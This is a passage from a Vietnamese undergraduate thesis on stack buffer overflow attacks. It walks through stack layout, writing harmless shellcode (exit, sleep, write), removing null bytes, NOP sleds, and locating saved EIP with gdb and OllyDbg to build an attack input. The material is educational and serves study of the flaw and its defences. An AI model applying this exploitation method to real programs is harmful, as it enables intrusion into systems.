frame trước đó và các biến được khai báo cục bộ trong hàm.

Việc tràn bộ đệm xảy ra khi bộ đệm đặt trên Stack bị tràn, dẫn đến việc thay đổi

dữ liệu ở các vùng nhớ có địa chỉ cao hơn, cụ thể là các biến địa phương của hàm hoặc

địa chỉ lệnh trả về (SavedEIP), từ đó thay đổi việc thực thi bình thường của chương

trình và tạo điều kiện cho kẻ tấn công “thao túng” phần mềm hoặc HĐH. Trong đó

việc tràn bộ đệm để thay đổi địa chỉ lệnh trả về nhằm thay đổi luồng thực thi của

chương trình thường gây ra hậu quả lớn do có khả năng can thiệp và thực thi mã độc

đa dạng và linh hoạt. Cơ chế tràn bộ đệm được thể hiện trong Ví dụ 2.

Page 27: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 27

Ví dụ 2: Chương trình exampleCode2.c [2].

Language c code

void function(char *str) {

char buffer[12];

strcpy(buffer,str);

}

void main() {

char large_string[20];

int i;

for( i = 0; i < 24; i++)

large_string[i]= 'A';

function(large_string);

}

Sau khi thực thi hàm strcpy(buffer, str), dữ liệu trong Stack frame của hàm

function(char *str) sẽ có dạng như biểu diễn trên Hình 3.

0x41414141 [4 Byte] EBP (function)

0x41414141 [4 Byte]

0x41414141 [4 Byte] RET (main)

0x41414141 [4 Byte] FP (EBP main)

0x41414141 [4Byte] buffer[8 - 11]

0x41414141 [4Byte] buffer[4 - 7]

0x41414141 [4Byte] buffer[ 0 - 3]

SP (ESP register)

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

void main() {

char large_string[24];

int i;

for( i = 0; i < 24; i++)

large_string[i]= 'A';

function(large_string);

}

IP (EIP register)

Hình 3: Dữ liệu trong StackFrame của hàmFunction(char *str)

Page 28: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 28

Như ta đã thấy, dữ liệu RET trở về hàm main() và EBP của hàm main() đã bị

ghi đè bởi giá trị 0x41414141(“AAAA”). Do đó chương trình sẽ bị kết thúc đột ngột bởi

một lỗi Segmentation fault (core dumped) thông báo rằng địa chỉ lệnh đang cố

gắng truy cập 0x41414141 là không được phép. Ở các HĐH họ Linux thông báo sẽ có

dạng như trên Hình 4.

Hình 4: Tràn bộ nhớ đệm trên Stack ghi đè SavedEIP

Tuy nhiên, nếu giả sử như địa chỉ lệnh thực thi tiếp theo mà bị ghi đè không phải

0x41414141 mà là một địa chỉ lệnh hợp lệ, vậy hệ điều hành sẽ không hề biết mà sẽ

vẫn tiếp tục thực thi chương trình với địa chỉ lệnh tiếp theo trong SavedEIP. Các địa

chỉ mà SavedEIP có thể trỏ đến được mô tả trên Hình 5.

Hình 5: Ghi đè địa chỉ trả về và trỏ đến các vùng dữ liệu khác [16]

Sau đây sẽ trình bày phương thức tấn công lợi dụng lỗi tràn bộ đệm trên Stack,

trong đó con trỏ lệnh bị ghi đè địa chỉ trả về sẽ trỏ ngược lại địa chỉ bộ đệm đã bị chèn

mã tấn công lưu trong Stack. Các mã tấn công khai thác lỗ hổng tràn bộ đệm được viết

dưới dạng Shellcode.

Page 29: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 29

2.3. Shellcode

Shellcode là một đoạn mã khai thác lỗ hổng bảo mật, nhằm cung cấp một giao

diện (interface) giúp kẻ tấn công có thể giao tiếp trực tiếp với nhân của hệ điều hành.

Do vậy nếu kẻ tấn công có thể cài được Shellcode và thực thi chúng trên máy bị tấn

công thì có thể chiếm được quyền điều khiển của hệ thống.

Shellcode có thể được thể hiện dưới dạng Alphanumeric hoặc dưới dạng hexa.

Ví dụ:

Shellcodesys_exit()dạng hexa: "\x31\xdb\xb0\x01\xcd\x80".

Shellcode dạng Alphanumeric: “1Û°Í€pqesaba”

Shellcode được thể hiện bằng mã máy (Byte-code), gồm một nhóm các lệnh tuần

tự, do đó máy tính có thể hiểu được và thực thi trực tiếp Shellcode mà không cần biên

dịch. Một số phương pháp để tạo ra Shellcode:

+ Viết trực tiếp Shellcode sử dụng tập lệnh VXL bằng mã máy. Cách này yêu cầu

am hiểu rất sâu về mã máy.

+ Viết tập lệnh bằng mã hợp ngữ (Assembly), sau đó dùng trình biên dịch và

trích ra Shellcode.

+ Viết tập lệnh bằng ngôn ngữ lập trình bậc cao hơn (có thể là C, hoặc C++) sau

đó dùng trình biên dịch chuyển sang mã hợp ngữ, cuối cùng từ mã hợp ngữ trích rút ra

Shellcode. Cách này có vẻ đơn giản nhưng ít được sử dụng do mã Shellcode sinh ra

thường có dung lượng lớn hơn rất nhiều so với Shellcode sinh ra bằng 2 cách trên.

Cách thông thường để tạo Shellcode đó là viết mã bằng hợp ngữ rồi sau đó sử

dụng trình biên dịch và trích xuất ra mã máy. Khi đó, cần lưu ý đến việc cách gọi các

hàm hệ thống trên HĐH họ Linux và HĐH họ Windows là khác nhau.

Các HĐH họ Linux cung cấp cách trực tiếp để giao tiếp với nhân của HĐH thông

qua giao tiếp int 0x80. Khi lệnh int 0x80 được thực thi bởi người dùng, CPU sẽ

chuyển sang chế độ nhân và thực thi System call. Trong khi đó ở các HĐH họ

Windows không có giao tiếp trực tiếp tới nhân của HĐH. Muốn giao tiếp với lời gọi

hệ thống cần phải tải các địa chỉ hàm cần thực thi thông qua một DLL (Dynamic Link

Library).

Do vậy, địa chỉ các hàm hệ thống của các HĐH họ Linux là không thay đổi, trong

khi đó địa chỉ các hàm hệ thống của các HĐH Windows có thể thay đổi theo từng

phiên bản.

Page 30: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 30

2.3.1. Tạo Shellcode trên các HĐH họ Linux

Để gọi một hàm hệ thống ( sys_call() ) thông qua ngắt int 0x80 cần thực hiện

các công việc sau:

- Đặt các đối số của hàm vào lần lượt các thanh ghi ebx, ecx, edx, esx, edi

(nếu cần)

- Đặt mã của hàm vào thanh ghi eax

- Thực hiện lời gọi tới ngắt int 0x80

Kết quả thực hiện của sys_call() sẽ được lưu trữ trong thanh ghi eax

Danh sách các lời gọi hệ thống của HĐH họ Linux có thể tham khảo khi tìm kiếm

với từ khóa “Linux System call tables” một số website tham khảo [13]

Ví dụ 3: Mã Assembly thực thi hàm system_exit(): exit.asm

section .text

global _start

_start:

mov ebx, 0 ; doi so dat vao la 0

mov eax, 1 ; ma cua ham sys_exit() la 1

int 0x80 ; thuc thi ham

Sau đó biên dịch và sử dụng trình debug (objdump) trích xuất mã như Hình 6.

Hình 6: Trích xuất Shellcode bằng objdump (Linux)

Khi đó, Shellcode trích xuất được sẽ là:

char[] shellcode_exit = “\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80”

Shellcode thực thi hàm system_exit() ta vừa lấy được có 12 Byte dung lượng.

Tuy nhiên, bằng một số phương pháp ta có thể vừa giảm được dung lượng Shellcode

cũng như loại bỏ đi các Byte NULL (0x00) trong Shellcode. Vấn đề dung lượng và các

Byte NULL (0x00) chứa trong Shellcode là rất quan trọng và sẽ được đề cập trong các

phần tiếp theo.

Page 31: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 31

2.3.2. Cách viết Shellcode trên các HĐH họ Windows

Như ta đã biết, để có thể lấy được địa chỉ của hàm hệ thống trong các HĐH họ

Windows cần thông qua một thư viện DLL. Địa chỉ của hàm sẽ được tính bằng địa chỉ

KERNEL + địa chỉ con trỏ của hàm.

Để gọi một hàm hệ thốngcần thực hiện các công việc sau:

- Lấy địa chỉ của hàm hệ thống thông qua một thư viện DLL tương ứng

- Đặt địa chỉ hàm cần thực thi vào một thanh ghi

- Đặt ngược các đối số vào Stack thông qua push

- Thực hiện lời gọi hàm thông qua lệnh call.

Ví dụ: Tạo shellcode thực hiện Sleep tiến trình 5000ms

Bước 1: Lấy địa chỉ hàm Sleep trong kernel32.dll bằng chương trình arwin.exe

theo như phụ lục 1 [17] trên HĐH window XP sp2 như Hình 7.

Hình 7: Lấy địa chỉ sys_call bằng arwin.exe

Bước 2: Viết mã Assembly thực hiện Sleep chương trình 5000ms: sleep.asm

[15]. Mã Assembly được mô tả như trong ví dụ 4.

Ví dụ 4: Mã Assembly chương trình sleep.asm

;sleep.asm

.MODEL Tiny

.CODE

Jmp Start

Start:

xor ax,ax

mov bx, 7c802442h ;address of Sleep

mov ax, 5000 ;pause for 5000ms

push ax

call bx ;Sleep(ms);

End Start

Bước 3: Sử dụng chương trình dịch (A86 Macro Assembly/Macro Assembly) để

biên dịch từ file .asm sang dạng tập tin đối tượng (*.obj).

Page 32: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 32

Bước 4: Sử dụng trình debug (Sygnus, Ollydmg) để trích xuất Shellcode từ file

tập tin đối tượng (*.obj). Phương thức trích xuất cũng giống như ví dụ ở HĐH Linux

2.3.3. Các vấn đề cần lưu ý khi viết Shellcode [22]

Việc viết Shellcode thông thường không quá khó, tuy nhiên điểm khó nhất ở chỗ

là viết sao cho Shellcode sinh ra có dung lượng nhỏ nhất và Shellcode được thực thi

hoàn toàn trên máy tính cần tấn công. Do đó, trong khi tạo ra Shellcode cần lưu ý một

số vấn đề như sau:

* Vấn đề xuất hiện các Byte NULL (0x00) trong Shellcode:

Giả sử trong đoạn Shellcode trích xuất ra được xuất hiện byte NULL (0x00), khi

chèn Shellcode vào trong bộ đệm và Shellcode được đọc để thực thi, thì khi gặp các

Byte NULL các hàm đọc dữ liệu (gets(), strcpy(), .. ) sẽ dừng lại. Do đó các lệnh

nằm sau Byte NULL trong Shellcode sẽ không được ghi vào bộ đệm, dẫn đến việc

chương trình tấn công không hoàn thành mục đích hoặc có thể là bị huỷ bỏ. Do đó, khi

viết Shellcode không để xuất hiện các Byte NULL.

Việc xuất hiện Byte NULL trong Shellcode thường có 2 nguyên nhân:

+ Chuỗi DATA gây ra Byte NULL: Ví dụ chuỗi: “ssssss”, hoặc “0x00” sẽ gây

ra Byte NULL trong Shellcode.

+ Chọn lệnh hoặc thanh ghi không phù hợp: Ví dụ lệnh mov ebx,0.

Để xử lý có nhiều cách nhưng thường và đơn giản nhất là thay thế các lệnh hoặc

chuỗi gây ra Byte NULL bằng các chuỗi hoặc lệnh khác có ý nghĩa tương đương. Ví

dụ:

+ Thêm Byte NULL vào cuối chuỗi để tạo ra Shellcode không chứa Byte NULL

trong khi chuỗi DATA được đọc vào không thay đổi. Ví dụ đối với chuỗi “ssssss” sẽ

thay bằng chuỗi “ssssss#”.

+ Sử dụng lệnh xor một thanh ghi cho chính thanh ghi đó để gán giá trị 0 cho

thanh ghi. Ví dụ: thay mov ebx, 0 bằng xor ebx, ebx.

+ Sử dụng thanh ghi 8bit thấp để gán giá trị thay vì sử dụng thanh ghi 16bit nếu

có thể. Ví dụ: thay mov eax, 1 bằng mov al, 1.

* Vấn đề về địa chỉ của các tham số truyền cho hàm:

Các tham số cần truyền cho hàm cần phải được đưa vào trong bộ nhớ trước khi

gọi hàm, và ta cần phải biết địa chỉ bộ nhớ lưu trữ chúng để truyền cho hàm. Có thể

thực hiện các bước sau để lấy được địa chỉ của tham số:

+ PUSH trực tiếp vào Stack, sau đó lưu giá trị: Ta sẽ push tham số hoặc biến vào

Stack. Khi đó giá trị địa chỉ của biến hoặc tham số vừa push vào sẽ lưu trữ trên thanh

ghi ESP (thanh ghi con trỏ Stack). Cơ chế lấy địa chỉ tham số bằng cách PUSH trực

tiếp vào Stack được mô tả như trong Ví dụ 5.

Page 33: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 33

Ví dụ 5: Chương trình demoPushStack.asm

[SECTION .text]

global _start

_start:

xor eax,eax

xor ebx,ebx

cdq

;push tu phai sang trai

;reverse gia tri truoc khi push

push eax ; dat ket thuc chuoi. Co the ko can

push 0x34333231 ; 4321

push 0x64636261 ; dcba

mov ecx, esp ; ecx tro den chuoi abcd1234null

mov dl,8

mov al,4

mov bl,1

int 0x80

;thoat chuong trinh

xor ebx,ebx

mov al,1

int 0x80

2.4. Tấn công thực thi Shellcode lợi dụng lỗi tràn bộ đệm trên Stack

Trên cơ sở nghiên cứu cơ chế tràn bộ đệm trên Stack trong mục trên, việc tràn bộ

đệm trên Stack dẫn đến việc ghi đè dữ liệu về địa chỉ lệnh trả về (RET). Trong phần

này chúng ta sẽ tiếp tục nghiên cứu việc sử dụng thay đổi địa chỉ lệnh trả về (RET) để

khai thác lỗi tràn bộ đệm nhằm thay đổi luồng thực thi của chương trình, từ đó thực thi

đoạn mã Shellcode theo yêu cầu.

Để thực thi Shellcode ta có thể đặt Shellcode cần thực thi vào bộ nhớ đệm

(Buffer), sau đó tiến hành làm tràn bộ nhớ và ghi đè lên địa chỉ trả về của hàm để nó

trỏ vào Buffer nơi chứa Shellcode. Phương pháp này tương đối đơn giản để có thể thực

thi Shellcode nếu ta nắm được mã nguồn chương trình.

Về lý thuyết chúng ta cần phải biết chính xác địa chỉ của Shellcode trong Stack.

Tuy nhiên điều này trong thực tế gần như là không khả thi vì địa chỉ thực tế được cấp

phát của các đối tượng trong Stack có thể bị thay đổi vì rất nhiều lý do, như thiết lập

của HĐH, do thiết lập của trình biên dịch,... Trong khi chỉ cần gán địa chỉ IP sai lệch

dù chỉ 1 Byte cũng sẽ gây ra lỗi. Vì vậy, để tăng xác suất thực thi thành công

Page 34: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 34

Shellcode, có thể chèn thêm các lệnh NOP (“\90”) vào trước Shellcode. Khi con trỏ

lệnh IP gặp lệnh NOP, nó sẽ không làm gì cả và tự động tăng giá trị địa chỉ lên để tìm

kiếm lệnh cần thực thi gần nhất. Cách này tuy đơn giản nhưng làm cho khả năng

Shellcode được thực thi tăng lên rất nhiều và cho thấy rất hiệu quả trong thực tế [11].

Ngoài ra, trong trường hợp Shellcode có độ lớn lớn hơn dung lượng của bộ nhớ

đệm (Buffer) ta có thể đặt chúng vào biến môi trường (Environment Variable), sau đó

ghi đè lên địa chỉ trả về với địa chỉ của biến môi trường mà ta đặt Shellcode vào. Đặc

điểm của phương pháp này là có thể tạo biến môi trường với dung lượng tuỳ biến, tuy

nhiên chỉ có thể thực hiện khi người tấn công có quyền truy cập vào các biến môi

trường [2].

Các đặc điểm của Stack tạo điều kiện cho khai thác lỗ hổng tràn bộ đệm:

- Stack luôn bắt đầu tại cùng một địa chỉ cho mọi chương trình và HĐH.

- Stack luôn luôn không quá lớn: Phần lớn các chương trình không bao giờ đặt

quá vài trăm hoặc vài nghìn Byte vào Stack tại một thời điểm bất kỳ.

Do các đặc điểm nêu trên, dải địa chỉ mà phải phán đoán khi muốn tiến hành khai

thác và tấn công lợi dụng lỗ hổng tràn bộ đệm thực sự là khá nhỏ.

Để có thể tiến hành tấn công lợi dụng lỗ hổng tràn bộ đệm, ta sẽ phải giải

quyết các vấn đề như sau:

- Viết mã độc: Vấn đề viết mã độc đòi hỏi kinh nghiệm và hiểu biết sâu về các

ngôn ngữ như C, Assembly. Shellcode là một kiểu đặc biệt của mã độc và đã được mô

tả như ở phần 2.3.

- Chèn mã độc: Cần thiết phải chèn mã độc vào bộ nhớ của chương trình mục

tiêu. Vấn đề này có thể thực hiện được nếu ta có thể kiểm soát được nội dung của bộ

đệm trong chương trình mục tiêu. Ví dụ như: Một số chương trình sẽ lấy dữ liệu từ

file, gói tin, đối số, …. và nạp trực tiếp vào bộ đệm. Do vậy, ta có thể đặt mã độc vào

file, gói tin, tham số dòng lệnh, … và đưa vào chương trình mục tiêu.

- Nhảy tới thực hiện mã độc: Khi các mã độc đã nằm trong bộ nhớ, nếu thanh ghi

lệnh của chương trình mục tiêu chứa địa chỉ trỏ tới điểm bắt đầu của mã độc, mã độc

sẽ có thể được thực thi.

Các bước tấn công thực thi Shellcode lợi dụng lỗ hổng tràn bộ đệm trên một

chương trình:

- Tìm chương trình chứa lỗ hổng tràn bộ đệm.

- Xác định cấu trúc Stack mà chương trình sử dụng.

- Tạo mã Shellcode muốn thực thi.

- Tạo chuỗi Input khai thác lỗi tràn bộ đệm để chèn và thực thi mã Shellcode.

Phần tiếp theo mô tả chi tiết các bước thực hiện tấn công ở trên.

Page 35: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 35

2.4.1. Tìm chương trình chứa lỗ hổng tràn bộ đệm

Để có thể tìm ra một chương trình chứa lỗi tràn bộ đệm, có thể sử dụng một trong

hai cách: Tìm lỗ hổng tràn bộ đệm bằng mã nguồn của chương trình (Trong trường

hợp ta nắm được mã nguồn) và tìm lỗ hổng tràn bộ đệm bằng thử nghiệm (Có thể sử

dụng công cụ hoặc bằng cách thủ công). Sau đây sẽ trình bày hai phương pháp tìm lỗ

hổng tràn bộ đệm một cách cơ bản nhất.

2.4.1.1. Tìm lỗ hổng tràn bộ đệm bằng mã nguồn

Lỗ hổng tràn bộ đệm có thể tồn tại trong các chương trình bởi bộ đệm của

chương trình không được kiểm tra và bảo vệ trong quá trình thực thi. Nguyên nhân là

do người lập trình sử dụng các ngôn ngữ lập trình có những hàm thư viện không an

toàn khi xử lý với bộ đệm, khiến bộ đệm có thể bị “tràn”. Ngôn ngữ lập trình phổ biến

nhất và cũng là ngôn ngữ lập trình chứa nhiều hàm thư viện xử lý với bộ đệm không

an toàn là C và C++. Ta có thể tham khảo các hàm trong C/C++ có thể gây lỗi tràn bộ

đệm được nêu trong Hình 8.

Function to be wary of:

gets()

strcpy()

strcat()

sprintf()

scanf()

sscanf()

fscanf()

vfscanf()

vsscanf()

streadd()

strecpy()

strtrns()

realpath()

syslog()

getout()

getout_long()

getpass()

getchar()

fsgetc()

getc()

read()

bcopy()

fgets()

memcpy()

snprintf()

strccpy()

strcadd()

strncpy()

vnsprintf()

Hình 8: Các hàm xử lý bộ đệm không an toàn trong C/C++ [1]

Vậy nếu trong mã nguồn chương trình có sử dụng những hàm như trên, thì có khả

năng tồn tại một lỗ hổng tràn bộ đệm tồn tại trong trương trình, và lỗ hổng đó có thể

được kẻ tấn công khai thác để tấn công vào chương trình hoặc hệ thống.

2.4.1.2. Tìm lỗ hổng tràn bộ đệm bằng thử nghiệm

Trong phương pháp này, việc tiến hành tìm lỗ hổng tràn bộ đệm là đưa các bộ dữ

liệu lớn vào các trường đầu vào của chương trình và quan sát phản hồi từ chương trình

hoặc HĐH. Đối với các chương trình được thiết kế tốt các dữ liệu không mong muốn

sẽ được quản lý bằng các ngoại lệ, còn đối với các trường hợp có sự can thiệp của

HĐH thì đó có thể là một lỗ hổng tiềm ẩn trong chương trình.

Page 36: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 36

Chương trình tồn tại lỗ hổng tràn bộ đệm sẽ cho phép xảy ra tình trạng bộ đệm bị

tràn trong một số trường hợp. Khi đó, do cơ chế phát hiện tràn bộ đệm của HĐH hoặc

do chương trình truy xuất vào các vùng địa chỉ không được phép, HĐH sẽ tiến hành

ngăn chặn hoạt động bình thường của chương trình và phát ra thông báo. Ta có thể dựa

vào các trường hợp kiểm tra và dựa vào thông báo của HĐH để phát hiện chương trình

tồn tại lỗ hổng tràn bộ đệm.

2.4.1.3. Ví dụ tìm thấy lỗ hổng tràn bộ đệm trên HĐH họ Linux

Lỗi tràn bộ đệm nếu xuất hiện trên các HĐH họ Linux sẽ HĐH đưa ra chỉ một

thông báo: Segmentation fault (core dumped)mà không kèm mô tả chi tiết, như

Hình 9 (HĐH Ubuntu 12.04 LTS) .

Hình 9: Phát hiện lỗ hổng tràn bộ đệm trên chương trình HĐH họ Linux

Page 37: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 37

2.4.1.4. Ví dụ tìm thấy lỗ hổng tràn bộ đệm trên HĐH Windows XP

Ở các phiên bản HĐH Windows XP, lỗi tràn bộ đệm khi bị phát hiện sẽ được

HĐH đưa ra thông báo và mô tả chi tiết hơn về dữ liệu hiện thời của con trỏ IP đã bị

ghi đè. Thông báo của các phiên bản HĐH Windows XP có dạng như Hình 10.

Hình 10: Phát hiện lỗ hổng tràn bộ đệm trên HĐH họ Windows

Ngoài ra, việc tìm lỗ hổng tràn bộ đệm trong thực tế có thể do vô tình hoặc chủ ý

dò tìm của kẻ tấn công, kẻ tấn công còn có thể sử dụng các công cụ ẩn nhằm theo dõi,

lần theo vết thực hiện …Ngoài ra, việc nắm được lỗ hổng tràn bộ đệm của chương

trình cũng có thể thông qua các cá nhân, hoặc tổ chức phát hiện ra và phát tán.

2.4.2. Xác định cấu trúc Stack mà chương trình sử dụng

Sau khi tìm được lỗ hổng tràn bộ đệm trên chương trình, việc tiếp theo cần làm

đó là xác định cấu trúc Stack mà chương trình sử dụng. Cấu trúc Stack của chương

trình được cấp phát và đôi khi có thay đổi tùy thuộc vào nhiều thành phần: Ngôn ngữ

lập trình, trình biên dịch, hệ điều hành, cơ chế bảo vệ của HĐH….

Tuy nhiên, với cùng một file thực thi và với cùng một loại HĐH, địa chỉ bộ nhớ

ảo mà HĐH cấp phát cho chương trình thường không thay đổi (Trừ trường hợp HĐH

sử dụng cơ chế Address Space Layout Randomization địa chỉ cấp phát thay đổi theo

mối lần thực thi). Do đó việc xác định được chính xác cấu trúc Stack của chương trình

cần tiến hành tại thời điểm thực thi của chương trình, và tiến hành trên HĐH thử

nghiệm cần giống như HĐH muốn khai thác.Việc xác định được cấu trúc Stack của

chương trình đôi khi là không cần thiết, tuy nhiên giúp chúng ta hình dung rõ ràng về

cách cấp phát các thành phần trong Stack, làm cho tấn công chương trình được thực

hiện một cách tường minh hơn.

Page 38: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 38

Để xác định cấu trúc Stack của chương trình, có thể sử dụng các công cụ Debug

có khả năng Debug chương trình trong thời gian chạy như: gdb (Linux) hoặc OllyDmg

(Windows).

Xác định cấu trúc Stack của chương trình để tấn công gồm có:

- Xác định kích thước bộ đệm

- Xác định vị trí bộ đệm, SavedEBP, SavedEIP

* Ví dụ xác định cấu trúc Stack với

- Chương trình cần khai thác: demo4.exe

- Giả định đã tìm thấy tràn bộ đệm tới SavedEIP xảy ra khi thử nghiệm chuỗi đầu

vào > 24 ký tự.

2.4.2.1. Xác định cấu trúc Stack trên HĐH họ Linux (Ubuntu 12.04 LTS)

Sử dụng công cụ gdb để debug chương trình với đầu vào là chuỗi thử nghiệm gây

ra tràn bộ đệm. Chạy chương trình với chuỗi đầu vào

“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH” nhằm dễ dàng cho việc xác định vị trí và

kích thước của bộ đệm, SavedEIP, SavedEBP.

Quá trình truyền tham số cho chương trình nếu chương trình sử dụng bộ nhập

chuẩn, có thể sử dụng cách trao đổi thông tin liên tiến trình (interprocess

communication, IPC), do đó có thể truyền vào các ký tự đặc biệt cũng như sử dụng các

ngôn ngữ kịch bản để nhập dữ liệu vào cho chương trình (Ví dụ như Python).

Ví dụ 6: Truyền tham số cho chương trình bằng Python

$ gdb demo4

(gdb) r $(python –c ‘print “AAAABBBBCCCCDDDDEEEEFFFFGGGG” + “H”*4 ’)

Thông báo lỗi tràn bộ đệm xảy ra và cho biết giá trị của thanh ghi EIP. Từ đó ta

biết được các ký tự nào được tràn lên trên SavedEIP và ước lượng được độ rộng của

bộ đệm.

Sau khi xảy ra tràn bộ đệm, tiến hành xem thông tin bộ nhớ lân cận địa chỉ trong

thanh ghi ESP. Khi tràn bộ đệm xảy ra, HĐH sẽ đưa địa chỉ bộ nhớ trong thanh ghi

ESP về địa chỉ SP của Stack Frame của hàm ngay trước hàm bị xảy ra lỗi tràn bộ đệm.

Do đó cần xem thông tin bộ nhớ dựa trên độ lệch âm so với địa chỉ bộ nhớ trong thanh

ghi ESP hiện tại. Dữ liệu trong Stack sau khi bị tràn bằng chuỗi ký tự thử nghiệm nhập

vào sẽ có dạng như trong Hình 11.

Page 39: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 39

Hình 11: Dữ liệu trong Stack khi bị tràn trên Linux

Theo ví dụ trên,sau khi phân tích thông tin trong bộ nhớ ảo, ta có thể nhận thấy

SaveEIP được lưu tại địa chỉ 0xbffff2cc→0xbffff2d0, SavedEBP ở địa chỉ

0xbffff2c8→ 0xbfff2cc và bộ đệm có địa chỉ bắt đầu từ 0xbffff2b4.

2.4.2.2. Xác định cấu trúc Stack trên HĐH window (Window XP SP2)

* Sử dụng Ollydbg

Sử dụng công cụ debug Ollydbg để debug chương trình, kết quả thu được sẽ có

dạng như trong Hình 12.

Hình 12: Dữ liệu trong Stack khi bị tràn trên Windows

Với tham số truyền vào “A” * 16 + “1234” + “BBBBCCCCDDDD” chương trình bị

tràn với kết quả như trong Hình 12, ta cũng xác định được SaveEIP được lưu tại địa

chỉ 0x0022ff7c → 0x0022ff80, SavedEBP ở địa chỉ 0x0022ff78 → 0x0022ff7c

và bộ đệm có địa chỉ bắt đầu từ 0x0022ff60.

Page 40: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 40

2.4.3. Tạo mã Shellcode muốn thực thi

Mã Shellcode muốn thực thi sẽ phụ thuộc vào dung lượng bộ đệm của chương

trình đích và hệ điều hành. Dung lượng của Shellcode sẽ phải luôn luôn nhỏ hơn hoặc

ít nhất là bằng với dung lượng của bộ nhớ đệm đựơc cấp phát. Shellcode càng nhỏ thì

khả năng được thực thi càng lớn do có thể đặt được nhiều lệnh NOP đằng trước và

không bị mất mát khi đưa vào bộ đệm.

Việc tạo mã Shellcode đã được nêu chi tiết trong phần Shellcode 2.3.

2.4.4. Tạo chuỗi Input khai thác lỗi tràn bộ đệm để thực thi mã Shellcode

Khi chèn mã tấn công vào bộ đệm của chương trình, có hai cách đặt mã tấn công

trong Stack. Cách thứ nhất đó là đặt mã tấn công vào bộ đệm trong chính Stack Frame

của hàm bị tràn, và cách thứ hai là đặt mã tấn công vào Stack Frame của hàm trả về

của hàm bị tràn (Previous Stack Frame). Do vậy, Có hai cách thức để xây dựng chuỗi

mã tấn công, mỗi cách sẽ có những ưu, nhược điểm khác nhau. Sau đây sẽ đi sâu vào

trình bày hai cách thức xây dựng chuỗi mã tấn công này.

2.4.4.1. Xây dựng chuỗi với mã tấn công đặt tại Buffer của hàm bị tràn

Ta sẽ xây dựng chuỗi tấn công làm sao để StackFrame của chương trình bị tấn

công sẽ có dạng như Hình 13.

EIP register

[bufferAddress]

[bufferAddress] SavedEIP

SavedEBP

Shellcode

bufferAddress

Hình 13: Mô hình xây dựng chuỗi tấn công đặt tại buffer hàm bị tràn

